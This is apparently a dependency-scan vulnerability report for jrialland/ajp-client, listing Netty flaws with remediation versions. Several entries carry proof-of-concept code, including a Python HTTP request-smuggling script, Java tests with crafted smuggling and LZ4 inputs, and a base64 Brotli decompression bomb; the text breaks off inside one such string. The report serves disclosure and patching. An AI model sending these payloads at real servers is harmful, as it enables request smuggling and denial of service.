Vulnerabilities

57 via 57 paths

Dependencies

40

Source

GitHub

Find, fix and prevent vulnerabilities in your code.

Issue type
  • 57
  • 2
Severity
  • 2
  • 33
  • 23
  • 1
Status
  • 59
  • 0
  • 0

critical severity
new

Improper Check for Certificate Revocation

  • Vulnerable module: io.netty:netty-handler-ssl-ocsp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-handler-ssl-ocsp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-handler-ssl-ocsp is a Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers and clients.

Affected versions of this package are vulnerable to Improper Check for Certificate Revocation in the OcspServerCertificateValidator. An attacker can cause a revoked certificate to be accepted by replaying an expired OCSP response.

Remediation

Upgrade io.netty:netty-handler-ssl-ocsp to version 4.1.136.Final, 4.2.16.Final or higher.

References

critical severity
new

Time-of-check Time-of-use (TOCTOU) Race Condition

  • Vulnerable module: io.netty:netty-handler-ssl-ocsp
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-handler-ssl-ocsp@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-handler-ssl-ocsp is a Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers and clients.

Affected versions of this package are vulnerable to Time-of-check Time-of-use (TOCTOU) Race Condition in the OcspServerCertificateValidator. An attacker can intercept sensitive application data or inject malicious responses by exploiting the window between the TLS handshake completion and the asynchronous OCSP validation result.

Remediation

Upgrade io.netty:netty-handler-ssl-ocsp to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Null Byte Interaction Error (Poison Null Byte)

  • Vulnerable module: io.netty:netty-codec-dns
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-dns@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

Affected versions of this package are vulnerable to Null Byte Interaction Error (Poison Null Byte) due to inadequate validation of domain name labels and lengths in the encodeDomainName and decodeDomainName components. An attacker can cause DNS cache poisoning, bypass domain validation, or trigger excessive memory allocation by supplying specially crafted domain names or malicious DNS responses. This can result in downstream failures, silent truncation of domain names, and parser confusion across different DNS implementations.

Remediation

Upgrade io.netty:netty-codec-dns to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the HttpClientCodec component. An attacker can cause response desynchronization and potentially compromise the integrity and availability of HTTP parsing by sending crafted HTTP/1.1 pipelined requests that include a HEAD request and trigger the server to send 1xx responses. This can result in unsafe reuse of the socket and misinterpretation of response bodies.

Note:

This is only exploitable if HTTP/1.1 pipelining is used, a HEAD request is present in the pipeline, and the server sends 1xx responses.

PoC

    @Test
    public void test() {
        EmbeddedChannel channel = new EmbeddedChannel(new HttpClientCodec());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.GET, "/1")));
        ByteBuf request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        assertTrue(channel.writeOutbound(new DefaultFullHttpRequest(HttpVersion.HTTP_1_1, HttpMethod.HEAD, "/2")));
        request = channel.readOutbound();
        request.release();
        assertNull(channel.readOutbound());

        String responseStr = "HTTP/1.1 103 Early Hints\r\n\r\n" +
                "HTTP/1.1 200 OK\r\nContent-Length: 5\r\n\r\nhello" +
                "HTTP/1.1 200 OK\r\n\r\n";
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(responseStr, CharsetUtil.US_ASCII)));

        // Response 1
        HttpResponse response = channel.readInbound();
        assertEquals(HttpResponseStatus.EARLY_HINTS, response.status());
        LastHttpContent last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 2
        response = channel.readInbound();
        assertEquals(HttpResponseStatus.OK, response.status());
        last = channel.readInbound();
        assertEquals(0, last.content().readableBytes());
        last.release();

        // Response 3
        FullHttpResponse response1 = channel.readInbound();
        assertTrue(response1.decoderResult().isFailure());
        assertEquals(0, response1.content().readableBytes());
        response1.release();

        assertFalse(channel.finish());
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Lz4FrameDecoder component. An attacker can cause excessive memory allocation by sending specially crafted compressed data with manipulated header fields, leading to resource exhaustion and potential denial of service.

PoC

    @Test
    void test() throws Exception {
        EventLoopGroup workerGroup = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            AtomicReference<Throwable> serverError = new AtomicReference<>();
            CountDownLatch latch = new CountDownLatch(1);

            ServerBootstrap server = new ServerBootstrap()
                    .group(workerGroup)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline()
                                    .addLast(new Lz4FrameDecoder())
                                    .addLast(new ChannelInboundHandlerAdapter() {
                                        @Override
                                        public void exceptionCaught(ChannelHandlerContext ctx, Throwable cause) {
                                            if (cause instanceof DecoderException) {
                                                serverError.set(cause.getCause());
                                            } else {
                                                serverError.set(cause);
                                            }
                                            latch.countDown();
                                        }
                                    });
                        }
                    });

            ChannelFuture serverChannel = server.bind(0).sync();

            Bootstrap client = new Bootstrap()
                    .group(workerGroup)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInboundHandlerAdapter() {
                        @Override
                        public void channelActive(ChannelHandlerContext ctx) {
                            ByteBuf buf = ctx.alloc().buffer(22, 22);
                            buf.writeLong(MAGIC_NUMBER);
                            buf.writeByte(BLOCK_TYPE_COMPRESSED | 0x0F);
                            buf.writeIntLE(1);
                            buf.writeIntLE(1 << 25);
                            buf.writeIntLE(0);
                            buf.writeByte(0);

                            ctx.writeAndFlush(buf);

                            ctx.fireChannelActive();
                        }
                    });

            ChannelFuture clientChannel = client.connect(serverChannel.channel().localAddress()).sync();

            assertTrue(latch.await(10, TimeUnit.SECONDS));

            assertInstanceOf(IndexOutOfBoundsException.class, serverError.get());

            clientChannel.channel().close();
            serverChannel.channel().close();
        } finally {
            workerGroup.shutdownGracefully();
        }
    }

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) in the HttpContentDecompressor and DelegatingDecompressorFrameListener components when the Content-Encoding header is set to br, zstd, or snappy. An attacker can exhaust system memory and cause a denial of service by sending a highly compressed payload that decompresses to a very large size, bypassing the configured decompression limit.

Remediation

Upgrade io.netty:netty-codec to version 4.1.133.Final or higher.

References

high severity
new

Infinite loop

  • Vulnerable module: io.netty:netty-codec
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec is an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Infinite loop in the Bzip2Decoder handler's run-length encoding state machine. An attacker can cause the event-loop thread to hang indefinitely by supplying a specially crafted bzip2 stream that triggers an infinite loop during decompression.

Remediation

Upgrade io.netty:netty-codec to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-haproxy@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the HAProxyMessageDecoder. An attacker can cause unbounded memory allocation by sending a specially crafted PROXY protocol v2 binary prefix with a version byte of 0xFF, which collides with the decoder's sentinel value and leads to continuous accumulation of inbound bytes until memory is exhausted.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Missing Release of Memory after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-haproxy@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Memory after Effective Lifetime in the parsing process of nested PP2_TYPE_SSL TLVs within the HAProxy PROXY protocol v2 codec. An attacker can cause memory exhaustion by sending syntactically valid headers containing deeply nested PP2_TYPE_SSL TLVs, which leads to a memory leak as the underlying buffer remains pinned.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity

Missing Release of Resource after Effective Lifetime

  • Vulnerable module: io.netty:netty-codec-haproxy
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-haproxy@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.135.Final.

Overview

Affected versions of this package are vulnerable to Missing Release of Resource after Effective Lifetime through improper handling of TLV length in the readNextTLV function. An attacker can cause resource exhaustion and denial of service by sending a specially crafted HAProxy protocol message with a TLV length below the required minimum, leading to an unreleased retained slice and eventual memory leak.

Remediation

Upgrade io.netty:netty-codec-haproxy to version 4.1.135.Final, 4.2.15.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the SpdyFrameCodec pipeline. An attacker can exhaust system resources by sending a small compressed HEADERS block that expands into significantly larger raw header data, leading to excessive CPU and memory allocation.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the SpdyHttpDecoder. An attacker can cause native memory exhaustion by sending a client-initiated SYN_STREAM frame with FLAG_FIN=0 followed by a RST_STREAM frame or by exceeding the maximum content length, which leads to unreleased pooled ByteBuf allocations.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the processing of SPDY SETTINGS frames in the SpdyFrameCodec.decode function. An attacker can cause excessive memory allocation and CPU consumption by sending a specially crafted SETTINGS frame with a large number of unique setting IDs, leading to resource exhaustion on the target system.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.125.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling via the parsing of chunk extensions in HTTP/1.1 messages with chunked encoding. An attacker can bypass HTTP request boundaries by sending specially crafted HTTP requests that exploit differences in how standalone newline characters are parsed between reverse proxies and the backend, potentially allowing them to smuggle additional requests.

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final, 4.2.5.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.132.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling in the parsing of quoted strings within chunked transfer encoding extension values. An attacker can inject arbitrary HTTP requests into a connection by crafting chunk extensions containing carriage return or line feed bytes, leading to parsing discrepancies between the server and RFC-compliant intermediaries.

PoC

#!/usr/bin/env python3
import socket

payload = (
    b"POST / HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Transfer-Encoding: chunked\r\n"
    b"\r\n"
    b'1;a="\r\n'
    b"X\r\n"
    b"0\r\n"
    b"\r\n"
    b"GET /smuggled HTTP/1.1\r\n"
    b"Host: localhost\r\n"
    b"Content-Length: 11\r\n"
    b"\r\n"
    b'"\r\n'
    b"Y\r\n"
    b"0\r\n"
    b"\r\n"
)

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(3)
sock.connect(("127.0.0.1", 8080))
sock.sendall(payload)

response = b""
while True:
    try:
        chunk = sock.recv(4096)
        if not chunk:
            break
        response += chunk
    except socket.timeout:
        break

sock.close()
print(f"Responses: {response.count(b'HTTP/')}")
print(response.decode(errors="replace"))

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.132.Final, 4.2.12.Final or higher.

References

high severity

HTTP Request Smuggling

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.133.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to HTTP Request Smuggling when parsed HTTP requests contain malformed Transfer-Encoding headers. An attacker can inject unauthorized HTTP requests by crafting a request with a Transfer-Encoding: chunked, identity header, which is incorrectly interpreted, allowing the attacker to smuggle additional requests through the connection.

PoC

@Test
    public void test() {
        String requestStr = "POST / HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "Transfer-Encoding: chunked, identity\r\n" +
                "Content-Length: 48\r\n" +
                "\r\n" +
                "0\r\n" +
                "\r\n" +
                "GET /smuggled HTTP/1.1\r\n" +
                "Host: localhost\r\n" +
                "\r\n";

        EmbeddedChannel channel = new EmbeddedChannel(new HttpRequestDecoder());
        assertTrue(channel.writeInbound(Unpooled.copiedBuffer(requestStr, CharsetUtil.US_ASCII)));

        // Request 1
        HttpRequest request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        assertTrue(request.headers().contains("Transfer-Encoding"));
        assertFalse(request.headers().contains("Content-Length"));
        LastHttpContent last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();

        // Request 2
        request = channel.readInbound();
        assertTrue(request.decoderResult().isSuccess());
        last = channel.readInbound();
        assertTrue(last.decoderResult().isSuccess());
        last.release();
    }

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.133.Final, 4.2.13.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.125.Final.

Overview

io.netty:netty-codec-http is a network application framework for rapid development of maintainable high performance protocol servers & clients.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.

PoC

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROMBIAEgIaHwBETlQQVFcXlgA=")));
    }
}

Remediation

Upgrade io.netty:netty-codec-http to version 4.1.125.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.124.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the improper handling of concurrently active streams per connection. An attacker can cause resource exhaustion and disrupt service availability by rapidly sending crafted frames, such as WINDOW_UPDATE, HEADERS, or PRIORITY, that manipulate the server's stream reset logic, leading to unbounded concurrent stream processing.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.124.Final, 4.2.4.Final or higher.

References

high severity

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.132.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling through the verifyContinuationFrame function. An attacker can cause excessive CPU consumption and render the server unresponsive by sending a large number of zero-byte CONTINUATION frames, bypassing existing size-based mitigations.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.132.Final, 4.2.10.Final or higher.

References

high severity
new

Allocation of Resources Without Limits or Throttling

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.136.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the Http2Decompressor.decompress. An attacker can exhaust direct memory and cause the JVM to crash by sending crafted HTTP/2 DATA frames to applications that have HTTP/2 content decompression enabled via DelegatingDecompressorFrameListener.

Remediation

Upgrade io.netty:netty-codec-http2 to version 4.1.136.Final, 4.2.16.Final or higher.

References

high severity

Improper Handling of Highly Compressed Data (Data Amplification)

  • Vulnerable module: io.netty:netty-codec-http2
  • Introduced through: io.netty:netty-all@4.1.118.Final

Detailed paths

  • Introduced through: jrialland/ajp-client@jrialland/ajp-client io.netty:netty-all@4.1.118.Final io.netty:netty-codec-http2@4.1.118.Final
    Remediation: Upgrade to io.netty:netty-all@4.1.125.Final.

Overview

io.netty:netty-codec-http2 is a HTTP2 sub package for the netty library, an event-driven asynchronous network application framework.

Affected versions of this package are vulnerable to Improper Handling of Highly Compressed Data (Data Amplification) via the BrotliDecoder.decompress function, which has no limit on how often it calls pull, decompressing data 64K bytes at a time. An attacker can exhaust system memory and cause application downtime by submitting specially crafted compressed input that triggers excessive buffer allocations.

PoC

import io.netty.buffer.Unpooled;
import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T {
    public static void main(String[] args) {
        EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder());
        channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ